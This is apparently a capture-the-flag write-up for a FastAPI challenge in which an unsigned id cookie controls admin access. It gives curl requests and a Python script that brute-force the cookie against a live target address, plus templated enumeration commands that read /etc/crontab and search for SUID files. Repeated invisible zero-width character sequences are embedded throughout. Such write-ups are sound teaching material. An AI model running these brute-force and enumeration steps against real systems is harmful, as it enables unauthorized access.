← Back to Writeups
HTBN/AWeb

Cookie Jar

XESXOR8/23/20264 min read
#web#htb#n/a

Cookie Jar

Platform: HackerLab | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-04 | Status: Solved Techniques: authorization_bypass, client_side_cookie_tampering, cookie_bruteforce

Summary

Task: a FastAPI service set a numeric id cookie and challenged the player to become admin in an app for only 128 users. Solution: recognize that authorization trusted the unsigned cookie, brute-force the tiny id space, and use id=72 to enter admin mode and recover the flag.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackerlab | ID: 20260404_hackerlab_banka_dlya_pechenya
  • Tags: brute_force, fastapi, authorization_bypass, uvicorn, cookie_tampering, insecure_cookie
  • Indicators: The app says it is designed for only 128 users, A numeric id cookie is set and then reflected back in the response, There are no other useful endpoints in OpenAPI or common route enumeration, Admin access appears tied directly to a client-controlled identifier
  • Source: 20260404_hackerlab_banka_dlya_pechenya.md

Foothold

Vulnerability / Misconfiguration

  1. Authorization_bypass
  2. Client_side_cookie_tampering
  3. Cookie_bruteforce
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • authorization_bypass
  • client_side_cookie_tampering
  • cookie_bruteforce
  • Tags: brute_force, fastapi, authorization_bypass, uvicorn, cookie_tampering, insecure_cookie

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Original task name: «Банка для печенья»

Target: http://62.173.140.174:16003/

The challenge exposed a minimal FastAPI application with only one visible route. The goal was to become admin by abusing weak session logic based on a client-controlled cookie.

Challenge Summary

This was a classic cookie tampering task with a very small brute-force space. The application issued a numeric id cookie, trusted it for authorization, and hinted that the system was intended for only 128 users. That made brute-forcing all possible identifiers the fastest path to admin access. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Recon

Requesting / returned plain text from a FastAPI/uvicorn service and set a cookie named id:

HTTP/1.1 200 OK
server: uvicorn
set-cookie: id=<number>
content-type: text/plain; charset=utf-8

The body looked like this:

Привет! Я написал небольшое приложение рассчитанное на 128 пользователей. Твоя цель - стать админом.

Твой айди: <id>

/openapi.json showed only one route: GET /.

Common guesses such as /admin, /flag, /login, /register, /users, and /me returned 404, so there was no hidden multi-step workflow to attack through routing alone. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Hypothesis

Two details stood out immediately:

  1. The app explicitly mentioned 128 users, which suggests a tiny identifier space.
  2. The service set a numeric id cookie and echoed that identifier back to the client.

That strongly suggested the backend was using an unsigned, client-controlled cookie as the source of truth for identity and possibly for admin authorization. If so, manually changing the cookie or brute-forcing all values from 0 to 127 should reveal the privileged account.

Exploitation Steps

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

1. Confirm cookie trust

After the first request, changing the id cookie manually caused the application to reflect the supplied value back in the response. That proved the server trusted the client-provided cookie instead of maintaining a secure server-side session.

Example request:

curl -i "http://62.173.140.174:16003/" -H 'Cookie: id=10'

The response still used the attacker-controlled value in the body, which validated the cookie tampering hypothesis.

2. Brute-force the small id space

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Because the challenge explicitly limited the application to 128 users, the search space was tiny. Iterating over all candidate values was trivial.

The successful cookie value was:

72

When the request included Cookie: id=72, the service switched to admin mode and returned:

[ ROOT ] Поздравляю! Теперь ты админ ... Держи флаг: CODEBY{REDACTED}

Proof / Important Responses

Default behavior

Привет! Я написал небольшое приложение рассчитанное на 128 пользователей. Твоя цель - стать админом.
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Твой айди: <id>

Admin behavior with the correct cookie

GET / HTTP/1.1
Host: 62.173.140.174:16003
Cookie: id=72
[ ROOT ] Поздравляю! Теперь ты админ ... Держи флаг: CODEBY{REDACTED}

Root Cause

The application used an unsigned client-controlled cookie (id) directly for authorization decisions. There was no signature, no server-side session validation, and no access-control check tied to an authenticated identity. Because the identifier space was only 128 values wide, brute-forcing the admin account was immediate. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

The attack can be automated with a short Python script:

#!/usr/bin/env python3
import requests


URL = "http://62.173.140.174:16003/"


def main() -> None:
    for candidate in range(128):
        response = requests.get(URL, cookies={"id": str(candidate)}, timeout=5)
        text = response.text

        print(f"[{candidate}] {text[:80]!r}")

        if "[ ROOT ]" in text or "CODEBY{" in text:
            print(f"[+] Admin cookie found: id={candidate}")
            print(text)
            break
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍


if __name__ == "__main__":
    main()

Manual verification with curl was enough once the winning value was known:

curl -i "http://62.173.140.174:16003/" -H 'Cookie: id=72'

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR